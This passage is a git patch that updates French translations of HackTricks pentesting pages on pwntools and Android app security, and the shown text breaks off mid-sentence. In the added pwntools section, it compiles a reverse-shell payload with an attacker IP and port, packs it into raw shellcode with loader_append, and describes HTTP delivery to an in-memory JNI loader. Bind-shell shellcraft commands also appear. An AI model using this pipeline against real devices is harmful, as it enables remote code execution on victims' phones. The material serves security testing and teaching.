From 847b4aa4ab60715069d71661f151fb25da022938 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 02:11:59 +0000 Subject: [PATCH] Translated ['src/mobile-pentesting/android-app-pentesting/reversing-nati --- src/SUMMARY.md | 1 + .../tools/pwntools.md | 95 ++-- .../android-app-pentesting/README.md | 457 +++++++++--------- .../in-memory-jni-shellcode-execution.md | 121 +++++ .../reversing-native-libraries.md | 79 +-- 5 files changed, 460 insertions(+), 293 deletions(-) create mode 100644 src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 3e41d9a7b..edddf45ba 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -353,6 +353,7 @@ - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md) - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md) - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md) + - [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md) - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md) - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md) - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md index e450e8075..0895f26ee 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md @@ -6,21 +6,21 @@ pip3 install pwntools ``` ## Pwn asm -Obtenez des **opcodes** à partir d'une ligne ou d'un fichier. +Obtenir les **opcodes** d'une ligne ou d'un fichier. ``` pwn asm "jmp esp" pwn asm -i ``` **Peut sélectionner :** -- type de sortie (raw, hex, string, elf) -- contexte de fichier de sortie (16, 32, 64, linux, windows...) -- éviter les octets (nouvelles lignes, null, une liste) -- sélectionner l'encodeur de débogage shellcode en utilisant gdb pour exécuter la sortie +- output type (raw,hex,string,elf) +- output file context (16,32,64,linux,windows...) +- avoid bytes (new lines, null, a list) +- sélectionner encoder/debug shellcode et utiliser gdb pour exécuter la sortie -## **Vérification Pwn** +## **Pwn checksec** -Script checksec +Script Checksec ``` pwn checksec ``` @@ -28,7 +28,7 @@ pwn checksec ## Pwn cyclic -Obtenez un motif +Obtenir un pattern ``` pwn cyclic 3000 pwn cyclic -l faad @@ -38,7 +38,7 @@ pwn cyclic -l faad - L'alphabet utilisé (caractères minuscules par défaut) - Longueur du motif unique (par défaut 4) - contexte (16,32,64,linux,windows...) -- Prendre le décalage (-l) +- Récupérer l'offset (-l) ## Pwn debug @@ -50,11 +50,11 @@ pwn debug --process bash ``` **Peut sélectionner :** -- Par exécutable, par nom ou par contexte pid (16,32,64,linux,windows...) +- Par executable, par name ou par pid context (16,32,64,linux,windows...) - gdbscript à exécuter - sysrootpath -## Pwn désactiver nx +## Pwn disablenx Désactiver nx d'un binaire ``` @@ -62,19 +62,19 @@ pwn disablenx ``` ## Pwn disasm -Désassemblez les opcodes hexadecimaux +Désassembler des hex opcodes ``` pwn disasm ffe4 ``` **Peut sélectionner :** -- contexte (16,32,64,linux,windows...) +- context (16,32,64,linux,windows...) - adresse de base -- couleur(par défaut)/sans couleur +- couleur (par défaut)/sans couleur ## Pwn elfdiff -Imprimer les différences entre 2 fichiers +Afficher les différences entre 2 fichiers ``` pwn elfdiff ``` @@ -92,9 +92,9 @@ pwn phd ``` **Peut sélectionner :** -- Nombre d'octets à afficher -- Nombre d'octets par ligne mettre en surbrillance l'octet -- Ignorer les octets au début +- Nombre de bytes à afficher +- Nombre de bytes par ligne — byte en surbrillance +- Ignorer les bytes au début ## Pwn pwnstrip @@ -102,7 +102,7 @@ pwn phd ## Pwn shellcraft -Obtenir des shellcodes +Obtenir shellcodes ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -112,37 +112,70 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` **Peut sélectionner :** -- shellcode et arguments pour le shellcode +- shellcode et les arguments pour le shellcode - Fichier de sortie - format de sortie -- déboguer (attacher dbg au shellcode) -- avant (piège de débogage avant le code) -- après -- éviter d'utiliser des opcodes (par défaut : pas nul et nouvelle ligne) +- debug (attacher dbg au shellcode) +- before (debug trap avant le code) +- after +- éviter d'utiliser les opcodes (par défaut : pas de null et new line) - Exécuter le shellcode -- Couleur/pas de couleur +- Couleur / pas de couleur - lister les syscalls - lister les shellcodes possibles -- Générer ELF en tant que bibliothèque partagée +- Générer un ELF en tant que bibliothèque partagée -## Modèle Pwn +## Pwn template -Obtenez un modèle python +Obtenir un template python ``` pwn template ``` -**Peut sélectionner :** hôte, port, utilisateur, mot de passe, chemin et silencieux +**Peut sélectionner :** host, port, user, pass, path et quiet ## Pwn unhex -De hex à chaîne +De hex à string ``` pwn unhex 686f6c61 ``` -## Mise à jour de Pwn +## Pwn update Pour mettre à jour pwntools ``` pwn update ``` +## ELF → raw shellcode packaging (loader_append) + +Pwntools peut convertir un ELF autonome en un seul blob de raw shellcode qui mappe lui‑même ses segments et transfère l'exécution vers l'entrypoint original. Ceci est idéal pour les loaders en mémoire uniquement (par ex. applications Android invoquant JNI pour exécuter des bytes téléchargés). + +Typical pipeline (amd64 example) + +1) Construire un ELF payload statique et position‑indépendant (musl recommandé pour la portabilité): +```bash +musl-gcc -O3 -s -static -o exploit exploit.c \ +-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" +``` +2) Convertir ELF → shellcode avec pwntools: +```python +# exp2sc.py +from pwn import * +context.clear(arch='amd64') +elf = ELF('./exploit') +sc = asm(shellcraft.loader_append(elf.data, arch='amd64')) +open('sc','wb').write(sc) +print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes") +``` +3) Livrer le sc à un memory loader (p. ex., via HTTP[S]) et exécuter in‑process. + +Remarques +- loader_append intègre le programme ELF original dans le shellcode et émet un petit loader qui mmaps les segments et saute à l'entry. +- Soyez explicite sur l'architecture via context.clear(arch=...). arm64 est courant sur Android. +- Conservez le code de votre payload position‑independent et évitez de faire des hypothèses sur l'ASLR/NX du processus. + +## Références + +- [Pwntools](https://docs.pwntools.com/en/stable/) +- [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 8f60df415..f257d1368 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,10 +1,10 @@ -# Pentesting d'applications Android +# Pentesting des Applications Android {{#include ../../banners/hacktricks-training.md}} -## Notions de base des applications Android +## Notions de base des Applications Android -Il est fortement recommandé de commencer par lire cette page pour connaître **les parties les plus importantes liées à la sécurité Android et les composants les plus dangereux d'une application Android** : +C'est fortement recommandé de commencer par lire cette page pour connaître les **parties les plus importantes liées à la sécurité Android et les composants les plus dangereux dans une application Android** : {{#ref}} @@ -13,15 +13,15 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -C'est l'outil principal pour se connecter à un appareil Android (émulé ou physique).\ -**ADB** permet de contrôler les appareils soit via **USB** soit via **Network** depuis un ordinateur. Cet utilitaire permet la **copie** de fichiers dans les deux sens, l'**installation** et la **désinstallation** d'apps, l'**exécution** de commandes shell, la **sauvegarde** de données, la **lecture** de logs, entre autres fonctions. +C'est l'outil principal dont vous avez besoin pour vous connecter à un appareil Android (émulé ou physique).\ +**ADB** permet de contrôler des appareils soit via **USB** soit via **réseau** depuis un ordinateur. Cet utilitaire permet la **copie** de fichiers dans les deux sens, l'**installation** et la **désinstallation** d'applications, l'**exécution** de commandes shell, la **sauvegarde** de données, la **lecture** des logs, entre autres fonctions. -Take a look to the following list of [**ADB Commands**](adb-commands.md) to learn how to use adb. +Consultez la liste suivante de [**ADB Commands**](adb-commands.md) pour apprendre à utiliser adb. ## Smali -Parfois, il peut être utile de **modifier le code de l'application** pour accéder à des **informations cachées** (par exemple des mots de passe fortement obfusqués ou des flags). Dans ce cas, il peut être intéressant de décompiler l'APK, modifier le code puis le recompiler.\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Cela peut être très utile comme **alternative pour plusieurs tests lors de l'analyse dynamique** qui vont être présentés. Donc, **gardez toujours à l'esprit cette possibilité**. +Il est parfois intéressant de **modifier le code de l'application** pour accéder à des **informations cachées** (par exemple des mots de passe fortement obfusqués ou des flags). Dans ce cas, il peut être utile de décompiler l'apk, modifier le code et recompiler l'apk.\ +[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Cela peut être très utile comme **alternative pour plusieurs tests lors de l'analyse dynamique** qui vont être présentés. Ensuite, **gardez toujours à l'esprit cette possibilité**. ## Autres astuces intéressantes @@ -29,7 +29,7 @@ Parfois, il peut être utile de **modifier le code de l'application** pour accé - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) -- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- **Télécharger des APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - Extraire l'APK depuis l'appareil: ```bash adb shell pm list packages @@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` -## Études de cas & vulnérabilités +## Études de cas & Vulnérabilités {{#ref}} @@ -68,34 +68,34 @@ Veuillez [**lire ici pour trouver des informations sur les différents décompil ### Recherche d'informations intéressantes -En regardant simplement les **strings** de l'APK, vous pouvez rechercher des **mots de passe**, des **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des **clés API**, du **chiffrement**, des **bluetooth UUIDs**, des **tokens** et tout ce qui est intéressant... cherchez même des **backdoors** d'exécution de code ou des backdoors d'authentification (identifiants admin hardcodés dans l'app). +En regardant simplement les **strings** de l'APK, vous pouvez rechercher des **passwords**, des **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des **api keys**, de **l'encryption**, des **bluetooth uuids**, des **tokens** et tout ce qui est intéressant... recherchez même des **backdoors** d'exécution de code ou des backdoors d'authentification (hardcoded admin credentials dans l'app). **Firebase** -Portez une attention particulière aux **Firebase URLs** et vérifiez si elles sont mal configurées. [Plus d'informations sur ce qu'est Firebase et comment l'exploiter ici.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Portez une attention particulière aux **firebase URLs** et vérifiez si elles sont mal configurées. [Plus d'informations sur ce qu'est Firebase et comment l'exploiter ici.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Compréhension de base de l'application - Manifest.xml, strings.xml -L'**examen des fichiers _Manifest.xml_ et _strings.xml_ d'une application peut révéler des vulnérabilités potentielles de sécurité**. Ces fichiers peuvent être consultés à l'aide de décompilateurs ou en renommant l'extension du fichier APK en .zip puis en le décompressant. +L'**examen des fichiers _Manifest.xml_ et _strings.xml_ d'une application peut révéler des vulnérabilités potentielles**. Ces fichiers peuvent être consultés via des décompilateurs ou en renommant l'extension du fichier APK en .zip puis en le décompressant. -Les **vulnérabilités** identifiées à partir du **Manifest.xml** incluent : +Les **vulnérabilités** identifiables à partir du **Manifest.xml** incluent : -- **Debuggable Applications** : Les applications définies comme debuggable (`debuggable="true"`) dans le fichier _Manifest.xml_ présentent un risque car elles permettent des connexions pouvant conduire à une exploitation. Pour comprendre comment exploiter des applications debuggables, consultez un tutoriel sur la recherche et l'exploitation d'applications debuggables sur un appareil. -- **Backup Settings** : L'attribut `android:allowBackup="false"` doit être explicitement défini pour les applications manipulant des informations sensibles afin d'empêcher des sauvegardes de données non autorisées via adb, en particulier lorsque le débogage USB est activé. -- **Network Security** : Les configurations de sécurité réseau personnalisées (`android:networkSecurityConfig="@xml/network_security_config"`) dans _res/xml/_ peuvent spécifier des détails de sécurité comme le pinning de certificats et les paramètres de trafic HTTP. Un exemple est d'autoriser le trafic HTTP pour des domaines spécifiques. -- **Exported Activities and Services** : Identifier les activities et services exportés dans le manifest peut mettre en évidence des composants susceptibles d'être détournés. Une analyse supplémentaire en test dynamique peut révéler comment exploiter ces composants. -- **Content Providers and FileProviders** : Des content providers exposés pourraient permettre un accès ou une modification non autorisés des données. La configuration des FileProviders doit également être examinée. -- **Broadcast Receivers and URL Schemes** : Ces composants pourraient être exploités, en portant une attention particulière à la manière dont les schémas d'URL sont gérés pour les vulnérabilités d'entrée. -- **SDK Versions** : Les attributs `minSdkVersion`, `targetSDKVersion` et `maxSdkVersion` indiquent les versions Android supportées, soulignant l'importance de ne pas supporter des versions Android obsolètes et vulnérables pour des raisons de sécurité. +- Applications débogables : Les applications définies comme debuggable (`debuggable="true"`) dans le fichier _Manifest.xml_ présentent un risque car elles permettent des connexions pouvant mener à une exploitation. Pour mieux comprendre comment exploiter des applications debuggables, consultez un tutoriel sur la recherche et l'exploitation d'applications debuggables sur un device. +- Backup Settings : L'attribut `android:allowBackup="false"` doit être défini explicitement pour les applications traitant des informations sensibles afin d'empêcher des backups non autorisés via adb, surtout lorsque le debug USB est activé. +- Network Security : Les configurations de sécurité réseau personnalisées (`android:networkSecurityConfig="@xml/network_security_config"`) dans _res/xml/_ peuvent spécifier des détails de sécurité tels que les certificate pins et les paramètres de trafic HTTP. Un exemple est d'autoriser le trafic HTTP pour des domaines spécifiques. +- Exported Activities and Services : Identifier les activities et services exportés dans le manifest peut mettre en évidence des composants susceptibles d'être détournés. Une analyse plus poussée en test dynamique peut révéler comment exploiter ces composants. +- Content Providers and FileProviders : Des content providers exposés peuvent permettre un accès ou une modification non autorisés des données. La configuration des FileProviders doit également être scrutée. +- Broadcast Receivers and URL Schemes : Ces composants peuvent être exploités, en portant une attention particulière à la façon dont les URL schemes sont gérés pour les vulnérabilités d'entrée. +- SDK Versions : Les attributs `minSdkVersion`, `targetSDKVersion` et `maxSdkVersion` indiquent les versions Android supportées, soulignant l'importance de ne pas supporter des versions Android obsolètes et vulnérables pour des raisons de sécurité. -Depuis le fichier **strings.xml**, des informations sensibles telles que des clés API, des schemas personnalisés et d'autres notes de développeur peuvent être découvertes, soulignant la nécessité d'un examen attentif de ces ressources. +Depuis le fichier **strings.xml**, des informations sensibles telles que des API keys, des schémas personnalisés et d'autres notes de développeur peuvent être découvertes, ce qui souligne la nécessité d'un examen attentif de ces ressources. ### Tapjacking -**Tapjacking** est une attaque où une **application** **malveillante** est lancée et **se positionne au-dessus d'une application victime**. Une fois qu'elle obscurcit visiblement l'application victime, son interface utilisateur est conçue de manière à tromper l'utilisateur pour qu'il interagisse avec elle, tandis qu'elle transmet l'interaction à l'application victime.\ -En pratique, c'est **aveugler l'utilisateur afin qu'il ne sache pas qu'il effectue en réalité des actions sur l'application victime**. +**Tapjacking** est une attaque où une **application** **malicious** est lancée et **se positionne au-dessus d'une application victime**. Une fois qu'elle masque visiblement l'application victime, son interface utilisateur est conçue de manière à tromper l'utilisateur pour qu'il interagisse avec elle, tandis qu'elle transmet l'interaction à l'application victime.\ +En pratique, elle **empêche l'utilisateur de savoir qu'il effectue en réalité des actions sur l'application victime**. -Trouvez plus d'informations dans : +Find more information in: {{#ref}} @@ -104,82 +104,82 @@ tapjacking.md ### Task Hijacking -Une **activity** avec le **`launchMode`** réglé sur **`singleTask` sans aucun `taskAffinity`** défini est vulnérable au Task Hijacking. Cela signifie qu'une **application** peut être installée et si elle est lancée avant la vraie application, elle pourrait **détourner la tâche de la vraie application** (ainsi l'utilisateur interagira avec l'**application malveillante en pensant utiliser la véritable application**). +Une **activity** avec le **`launchMode`** réglé sur **`singleTask` sans aucun `taskAffinity`** défini est vulnérable au Task Hijacking. Cela signifie qu'une **application** peut être installée et si elle est lancée avant la vraie application, elle pourrait **détourner la task de la vraie application** (l'utilisateur interagira donc avec la **malicious application en pensant utiliser la vraie**). -Plus d'infos dans : +More info in: {{#ref}} android-task-hijacking.md {{#endref}} -### Stockage de données non sécurisé +### Insecure data storage -Internal Storage +**Stockage interne** -Sur Android, les fichiers **stockés** dans le stockage **interne** sont **conçus** pour être **accessibles** exclusivement par l'**app** qui les a **créés**. Cette mesure de sécurité est **appliquée** par le système d'exploitation Android et est généralement adéquate pour les besoins de sécurité de la plupart des applications. Cependant, les développeurs utilisent parfois des modes tels que `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` pour **permettre** le partage de fichiers entre différentes applications. Pourtant, ces modes **ne restreignent pas l'accès** à ces fichiers par d'autres applications, y compris potentiellement des applications malveillantes. +Dans Android, les fichiers **stockés** dans le **stockage interne** sont **conçus** pour être **accessibles** exclusivement par l'**app** qui les a **créés**. Cette mesure de sécurité est **appliquée** par le système Android et est généralement adéquate pour les besoins de sécurité de la plupart des applications. Cependant, les développeurs utilisent parfois des modes tels que `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` pour **permettre** le partage de fichiers entre différentes applications. Ces modes **ne restreignent pas l'accès** à ces fichiers par d'autres applications, y compris potentiellement des applications malveillantes. 1. **Analyse statique :** -- **Assurez-vous** que l'utilisation de `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` est **soigneusement examinée**. Ces modes **peuvent potentiellement exposer** des fichiers à un **accès non voulu ou non autorisé**. +- **Vérifiez** attentivement l'utilisation de `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE`. Ces modes **peuvent exposer** des fichiers à des accès **non intentionnés ou non autorisés**. 2. **Analyse dynamique :** -- **Vérifiez** les **permissions** définies sur les fichiers créés par l'app. Plus précisément, **contrôlez** si des fichiers sont **rendus lisibles ou modifiables mondialement**. Cela peut constituer un risque de sécurité important, car cela permettrait à **n'importe quelle application** installée sur l'appareil, quel que soit son origine ou son intention, de **lire ou modifier** ces fichiers. +- **Vérifiez** les **permissions** définies sur les fichiers créés par l'app. En particulier, **contrôlez** si des fichiers sont définis comme lisibles ou modifiables worldwide. Cela peut représenter un risque de sécurité important, car cela permettrait à **n'importe quelle application** installée sur le device, quelle que soit son origine ou son intention, de **lire ou modifier** ces fichiers. -External Storage +**Stockage externe** -Lorsqu'on traite des fichiers sur le **stockage externe**, comme les cartes SD, certaines précautions doivent être prises : +Lorsqu'on traite des fichiers sur le **stockage externe**, comme les SD Cards, certaines précautions doivent être prises : 1. **Accessibilité** : - Les fichiers sur le stockage externe sont **globalement lisibles et modifiables**. Cela signifie que n'importe quelle application ou utilisateur peut y accéder. -2. **Préoccupations de sécurité** : +2. **Problèmes de sécurité** : - Étant donné la facilité d'accès, il est conseillé **de ne pas stocker d'informations sensibles** sur le stockage externe. -- Le stockage externe peut être retiré ou accédé par n'importe quelle application, ce qui le rend moins sûr. +- Le stockage externe peut être retiré ou accédé par n'importe quelle application, le rendant moins sécurisé. 3. **Traitement des données provenant du stockage externe** : -- Effectuez toujours une **validation d'entrée** sur les données récupérées depuis le stockage externe. C'est crucial car les données proviennent d'une source non fiable. +- Effectuez toujours une **validation d'entrée** sur les données récupérées depuis le stockage externe. Ceci est crucial car les données proviennent d'une source non fiable. - Il est fortement déconseillé de stocker des exécutables ou des fichiers de classes sur le stockage externe pour un chargement dynamique. -- Si votre application doit récupérer des fichiers exécutables depuis le stockage externe, assurez-vous que ces fichiers sont **signés et vérifiés cryptographiquement** avant qu'ils ne soient chargés dynamiquement. Cette étape est vitale pour maintenir l'intégrité de sécurité de votre application. +- Si votre application doit récupérer des fichiers exécutables depuis le stockage externe, assurez-vous que ces fichiers sont **signés et vérifiés cryptographiquement** avant de les charger dynamiquement. Cette étape est vitale pour maintenir l'intégrité de sécurité de votre application. -Le stockage externe peut être **accessible** dans `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` +Le stockage externe peut être **accédé** dans `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` > [!TIP] -> À partir d'Android 4.4 (**API 17**), la carte SD possède une structure de répertoires qui **limite l'accès d'une app au répertoire qui est spécifiquement pour cette app**. Cela empêche une application malveillante d'obtenir un accès en lecture ou en écriture aux fichiers d'une autre app. +> À partir d'Android 4.4 (**API 17**), la SD card a une structure de répertoires qui **limite l'accès d'une app au répertoire qui est spécifiquement pour cette app**. Cela empêche une application malveillante d'obtenir un accès en lecture ou écriture aux fichiers d'une autre app. -Données sensibles stockées en clair +**Données sensibles stockées en clair** -- **Shared preferences** : Android permet à chaque application d'enregistrer facilement des fichiers xml dans le chemin `/data/data//shared_prefs/` et parfois il est possible de trouver des informations sensibles en clair dans ce dossier. -- **Databases** : Android permet à chaque application d'enregistrer facilement des bases sqlite dans le chemin `/data/data//databases/` et parfois il est possible de trouver des informations sensibles en clair dans ce dossier. +- **Shared preferences** : Android permet à chaque application de sauvegarder facilement des fichiers xml dans le chemin `/data/data//shared_prefs/` et parfois il est possible de trouver des informations sensibles en clair dans ce dossier. +- **Databases** : Android permet à chaque application de sauvegarder facilement des bases sqlite dans le chemin `/data/data//databases/` et parfois il est possible de trouver des informations sensibles en clair dans ce dossier. ### Broken TLS -Accept All Certificates +**Accept All Certificates** -Pour une raison ou une autre, parfois les développeurs acceptent tous les certificats même si par exemple le hostname ne correspond pas, avec des lignes de code comme la suivante : +Pour une raison quelconque, parfois les développeurs acceptent tous les certificats même si, par exemple, le hostname ne correspond pas, avec des lignes de code comme la suivante : ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -Une bonne façon de tester cela est d'essayer de capturer le trafic en utilisant un proxy comme Burp sans autoriser Burp CA à l'intérieur de l'appareil. De plus, vous pouvez générer avec Burp un certificat pour un hostname différent et l'utiliser. +Une bonne façon de tester cela est d'essayer de capturer le trafic en utilisant un proxy comme Burp sans autoriser le Burp CA sur l'appareil. Aussi, vous pouvez générer avec Burp un certificat pour un different hostname et l'utiliser. -### Cryptographie défaillante +### Broken Cryptography -**Processus de gestion des clés insuffisants** +**Poor Key Management Processes** -Certains développeurs sauvegardent des données sensibles dans le stockage local et les chiffrent avec une clé hardcoded/prédictible dans le code. Cela ne devrait pas être fait car du reversing pourrait permettre aux attaquants d'extraire les informations confidentielles. +Certains développeurs enregistrent des données sensibles dans le stockage local et les chiffrent avec une clé hardcodée/prédictible dans le code. Cela ne devrait pas être fait car un peu de reversing pourrait permettre à des attaquants d'extraire l'information confidentielle. -**Utilisation d'algorithmes non sécurisés et/ou obsolètes** +**Use of Insecure and/or Deprecated Algorithms** -Les développeurs ne devraient pas utiliser des **algorithmes obsolètes** pour effectuer des **vérifications d'authorisation**, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashes** sont utilisés pour stocker des mots de passe par exemple, des hashes résistants au brute-force devraient être utilisés avec du salt. +Les développeurs ne devraient pas utiliser des **deprecated algorithms** pour effectuer des authorisation **checks**, **store** ou **send** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashes** sont utilisés pour stocker des mots de passe par exemple, des hashes résistants au brute-force devraient être utilisés avec du salt. -### Autres vérifications +### Other checks -- Il est recommandé d'**obfusquer l'APK** pour rendre le travail de reverse engineering plus difficile pour les attaquants. -- Si l'app est sensible (comme les applications bancaires), elle devrait effectuer ses **propres vérifications pour savoir si le mobile est rooted** et agir en conséquence. -- Si l'app est sensible (comme les applications bancaires), elle devrait vérifier si un **emulator** est utilisé. -- Si l'app est sensible (comme les applications bancaires), elle devrait **vérifier son intégrité avant exécution** pour vérifier si elle a été modifiée. -- Utilisez [**APKiD**](https://github.com/rednaga/APKiD) pour vérifier quel compiler/packer/obfuscator a été utilisé pour construire l'APK +- It's recommended to **obfuscate the APK** to difficult the reverse engineer labour to attackers. +- If the app is sensitive (like bank apps), it should perform it's **own checks to see if the mobile is rooted** and act in consequence. +- If the app is sensitive (like bank apps), it should check if an **emulator** is being used. +- If the app is sensitive (like bank apps), it should **check it's own integrity before executing** it to check if it was modified. +- Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK ### React Native Application -Lisez la page suivante pour apprendre comment accéder facilement au code javascript des applications React : +Read the following page to learn how to easily access javascript code of React applications: {{#ref}} @@ -188,7 +188,7 @@ react-native-application.md ### Xamarin Applications -Lisez la page suivante pour apprendre comment accéder facilement au code C# d'une application Xamarin : +Read the following page to learn how to easily access C# code of a xamarin applications: {{#ref}} @@ -201,13 +201,13 @@ According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpa ### Automated Static Code Analysis -The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnérabilités** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combinaison** of **sources-sinks** that indicates a vulnérabilité. +The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability. With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**. ### Secrets leaked -An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +Une application peut contenir des secrets (API keys, passwords, hidden urls, subdomains...) à l'intérieur qu'il est possible de découvrir. Vous pouvez utiliser un outil tel que [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -218,12 +218,17 @@ bypass-biometric-authentication-android.md ### Other interesting functions -- **Exécution de code**: `Runtime.exec(), ProcessBuilder(), native code:system()` -- **Envoi de SMS**: `sendTextMessage, sendMultipartTestMessage` -- **Fonctions natives** déclarées comme `native`: `public native, System.loadLibrary, System.load` -- [Lisez ceci pour apprendre **comment reverse native functions**](reversing-native-libraries.md) +- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` +- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` +- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` +- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) +- In-memory native code execution via JNI (downloaded shellcode → mmap/mprotect → call): -### **Autres astuces** +{{#ref}} +in-memory-jni-shellcode-execution.md +{{#endref}} + +### **Other tricks** {{#ref}} @@ -297,7 +302,7 @@ Magisk/Zygisk quick notes (recommended on Pixel devices) **Logging** -Les développeurs doivent être prudents quant à l'exposition des **debugging information** publiquement, car cela peut conduire à des données sensibles leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability. +Developers should be cautious of exposing **debugging information** publicly, as it can lead to sensitive data leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability. > [!WARNING] > Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ @@ -305,24 +310,24 @@ Les développeurs doivent être prudents quant à l'exposition des **debugging i **Copy/Paste Buffer Caching** -Le framework **clipboard-based** d'Android permet la fonctionnalité copy-paste dans les apps, mais présente un risque car **other applications** peuvent **access** le clipboard, exposant potentiellement des données sensibles. Il est crucial de **désactiver copy/paste** pour les sections sensibles d'une application, comme les détails de carte de crédit, pour prévenir des data leaks. +Android's **clipboard-based** framework enables copy-paste functionality in apps, yet poses a risk as **other applications** can **access** the clipboard, potentially exposing sensitive data. It's crucial to **disable copy/paste** functions for sensitive sections of an application, like credit card details, to prevent data leaks. **Crash Logs** -Si une application **crashes** et **sauvegarde des logs**, ces logs peuvent aider les attaquants, particulièrement lorsque l'application ne peut pas être reverse-engineered. Pour atténuer ce risque, évitez de logger lors des crashes, et si des logs doivent être transmis sur le réseau, assurez-vous qu'ils soient envoyés via un canal SSL pour la sécurité. +If an application **crashes** and **saves logs**, these logs can assist attackers, particularly when the application cannot be reverse-engineered. To mitigate this risk, avoid logging on crashes, and if logs must be transmitted over the network, ensure they are sent via an SSL channel for security. As pentester, **try to take a look to these logs**. **Analytics Data Sent To 3rd Parties** -Les applications intègrent souvent des services comme Google Adsense, ce qui peut involontairement **leak sensitive data** en raison d'implémentations incorrectes par les développeurs. Pour 